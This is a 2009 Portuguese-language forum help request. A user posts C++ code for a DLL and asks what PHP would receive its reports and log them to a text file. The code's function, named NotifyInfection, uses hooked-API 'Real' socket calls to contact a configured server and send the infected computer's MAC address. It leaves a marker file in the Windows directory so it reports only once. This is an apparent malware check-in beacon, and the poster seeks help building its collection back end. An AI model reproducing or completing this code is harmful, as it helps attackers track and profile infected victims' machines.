..:: MX Studio Fóruns ::..: [C++] AJUDA COMUNICAÇÃO C++ e PHP - ..:: MX Studio Fóruns ::..

Jump to content

Publicidade




Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

[C++] AJUDA COMUNICAÇÃO C++ e PHP

#1 User is offline   Ruan Carlos 

  • Group: Membros
  • Posts: 1
  • Joined: 18-March 08

  Posted 29 November 2009 - 06:04 AM

Ola galera! thumbup.gif

Antes de Comerça o Topico agradeco a todos pela ajuda.

Galera. Estou Tentando fazer um Projeto de DLL se comunicar com php, para as seguintes funcoes,

O DLL, Obitem um comando GET e Informa ao php o HTTP, HOST, E MAC, DO COPUTADO, e o PHP RECEBE ISSO E CRIA UM TXT.

ALGUEM TERIA IDEIA DE COMO FAZER ISSO O CODIGO QUE ESTOU USANDO NO C++ E O SEGUINTE ABAIXO,

CÓDIGO
void NotifyInfection()
{
  SOCKET Sock;
  
  struct sockaddr_in InAddr = {0};
  struct hostent *   Host;

  char CheckFileName[MAX_PATH];
  char Buffer[256];

  LPCSTR lpReqStr = "GET %s HTTP/1.1\r\nHost: %s\r\nMAC: %s\r\n\r\n";

  FILE * fp;
    
     if(!GetWindowsDirectory(CheckFileName, MAX_PATH))
        return;
    
     strncat(CheckFileName, "\\browser", MAX_PATH - strlen(Buffer) - 1);

     fp = fopen(CheckFileName, "r");

     if(fp != NULL)
      {
         fclose(fp);
         return;
      }

     InAddr.sin_family  = AF_INET;
     InAddr.sin_port    = 0x5000;

     Buffer[sizeof(Buffer) - 1] = '\0';

     Host = RealGetHostByName(Notifier.Host );
      
     if(!Host)
        return;
                
     Sock = RealSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
     if(Sock == SOCKET_ERROR)
        return;
    
     InAddr.sin_addr = *(struct in_addr*)Host->h_addr;
    
     if(RealConnect(Sock, (SOCKADDR*)&InAddr, sizeof(InAddr)) == SOCKET_ERROR)
      {
          RealCloseSocket(Sock);
          return;  
      }  

     _snprintf(Buffer, sizeof(Buffer) - 1, lpReqStr, Notifier.File, Notifier.Host, MacAddress);
        
     RealSend(Sock, Buffer, strlen(Buffer), 0);
    
     RealCloseSocket(Sock);

     fp = fopen(CheckFileName,"w");
    
     if(fp)
       fclose(fp);
    
}



ALGUEM SABERIA QUAL PHP PODERIA USAR PARA FAZER ISSO AGUARDO.

OBRIGADO A TODOS.
0

Share this topic:


Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic



Publicidade




1 User(s) are reading this topic
0 membro(s), 1 visitante(s) e 0 membros anônimo(s)